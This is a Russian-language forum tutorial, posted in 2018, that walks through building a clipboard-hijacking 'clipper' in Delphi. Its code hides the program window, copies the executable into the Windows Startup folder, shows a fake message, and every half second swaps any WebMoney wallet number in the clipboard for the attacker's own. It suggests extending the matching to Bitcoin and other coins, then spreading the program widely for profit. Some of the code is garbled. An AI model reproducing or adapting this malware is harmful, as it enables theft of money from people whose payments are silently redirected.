Загрузка...

We create our own clipper (wallet changer) with autoload, fake message

Thread in Security created by sibircorp Jun 14, 2018. 632 views

  1. sibircorp
    sibircorp Topic starter Jun 14, 2018 Banned 195 Feb 17, 2018
    Внимание! Вся информация предоставлена ИСКЛЮЧИТЕЛЬНО в ознакомительных целях. Автор никого не побуждает к каким бы то ни было действиям и не рекламирует представленные сайты и утилиты. Приятного ознакомления :)

    На примере Webmoney кошелька я покажу Вам как сделать свой клиппер.

    Кодить будем наш на Delphi (не умные люди уже могут кричать , что весь софт написанный не на С++ - шлак)

    Ну поехали.

    Для уменьшения веса можно юзать Delphi 7

    1. Создаем проект с формой (не люблю консольные приложухи) и сразу переходим в Project->Views Sourse
    Видим код :

    Application.Initialize;

    Application.CreateForm(TForm1, Form1);

    Application.Run;

    После второй строчки вставляем строчку :

    Application.ShowMainForm:=False; // так мы скроем нашу форму при запуске

    После {$R *.res} пишем функцию :
    Code
    function Check: boolean;
    var
    HM :THandle;
    begin
    HM:=OpenMutex(MUTEX_ALL_ACCESS, false, 'Mutekk1');
    Result:=(HM<>0);
    if HM=0 then CreateMutex(nil, false, 'Mutekk1');
    end;

    И перед строкой Application.Initialize; мы пишем :
    Code
    if Check then halt; // защита от повторного запуска 

    2. Возвращаемся обратно в Unit1> в Uses добавляем ClipBrd,tlhelp32, ShlObj

    В переменные добавляем :
    Code
    na,webmoney,e:string;

    pl, ts:TstringList;
    Настроили , отлично.

    Логика нашей программы следующая : каждую 0.5 секунды будем получать содержимое буфера -> каждую строчку разбивать на слова -> если слово подходит под правило кошелька webmoney то заменять , если нет , то ничего
    Code
    Автозапуск (самый примитивный , просто ****немся в папку Автозагрузка , можно юзать и планировщик) . На свойстве OnFormCreate ( или два клика по форме) вставляем код :
    [CODE]na:=ParamStr(0);
    try
    CopyFile(PChar(na), Pchar('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'), false); // копируем

    except

    end;
    MessageBox(0, 'Текст сообщения' , 'Заголовок' , mb_Yes); // фейк сообщение
    ФУНКЦИЯ РАЗБИВА СТРОК НА СЛОВА

    Code
    function Find(S:string): TStringList;

    var i:integer;
    S2:string;
    // i2:integer;
    begin

    Result := TStringList.Create;
    For i:=1 to Length(S) do
    begin
    if ( (s[i]<>' ') and (s[i]<>' ') and (s[i]<>' ') ) then S2:=s2+s[i]
    else

    if s2<>'' then
    begin
    Result.Add(S2);
    S2:='';

    end;

    end;
    if s2<>'' then Result.Add(S2);


    end;
    4. Функция проверки слова на правило Webmoney
    Code
    function webmoney(a:string):boolean;

    var

    i2,i3:integer;

    const m=['A'..'Z'];

    const m1=['0'..'9'];

    begin

    i3:=0;

    //i4:=0;

    for i2 := 2 to length(a) do

    begin

    if a[i2] in m1 then inc(i3);

    if a[i2] in m then

    begin

    result:=false;

    exit;
    end;
    end;
    if i3=12 then Result:=true
    else
    Result:=false;
    end;
    5. Кидаем на форму таймер , ставим интервал 500 (0.5 сек) , кидаем на форму Memo и в свойствах ScrollBar ставим sBoth. Два клика по таймеру и вставляем код :
    Code
    procedure TForm1.Timer1Timer(Sender: TObject);

    var

    i,i1:integer;

    b:tSTRINGlIST;

    e:string;

    begin

    try

    if Clipboard.HasFormat(CF_TEXT) then

    begin

    memo1.clear;

    b:=TstringList.Create;

    memo1.Text:=Clipboard.AsText;

    for I := 0 to memo1.Lines.Count do // идем по каждой строке от первой до последней

    begin

    // разбиваем строку на разные слова

    for i1 :=0 to Find(memo1.Lines).Count-1 do // идем уже по словам

    begin

    e:=Find(memo1.Lines)[i1];

    if (e<>'') and (pos(' ' , e)=0 ) then // если слова без пробелов

    begin

    //смена webmoney///

    if webr='1ebmorgegeref' then

    begin

    if ( (e[1]='R') and (length(e)=13) and (webmoney(e)=true) ) then memo1.lines:= StringReplace(memo1.Lines, e, 'ТУТ ВАШ КОШЕЛЕК' , [rfReplaceAll]);

    end;

    end;

    end; // конец хождения по словам

    end; // конец хода по каждой строке

    Clipboard.AsText:=memo1.Text;

    b.Free;

    end;

    except

    end;

    end;
    Компилируем

    А как программка поймет , что в буфере именно кошелек который нам нужен , и что подменять надо именно на соответствующий кошелек?
    Каждый кошелек по своему уникален. Например кошельки Webmoney имеют первый символ букву (R,Z и т.д) и дальше 12 цифр. Общая сумма символов Webmoney кошелька - 13 символов (при этом 12 из них цифры , следующие сразу за буквой). Bitcoin кошелек рассказывать не буду , просто прочитайте из скрина

    [IMG]

    Т.е понимаем , что первый символ у нас либо 1 либо 3 , общее кол-во символов 26-33 (хотя тут на обман , у биткоин кошелька кол-во символов 33-34 , включая первую цифру).

    Точно так-же делается и с другими кошельками - **** , Litecoin , Dogi и т.д. Про правила генерации крипто кошельков можно свободно почитать в гугле. Каждый кошелек создается по своему правилу , и чем больше таких правил вы нагуглите , тем больше у вас будет подмены кошельков. Таким образом программка , мониторя буфер видит совпадение по правилу WEBMONEY кошелька , и такая , АГА , хоба - меняет этот кусок текста на наш вебмани.

    С другими кошельками аналогично.

    Вот и всё, осталось лишь распространить программу в масы и будет профит


     
Top
Loading...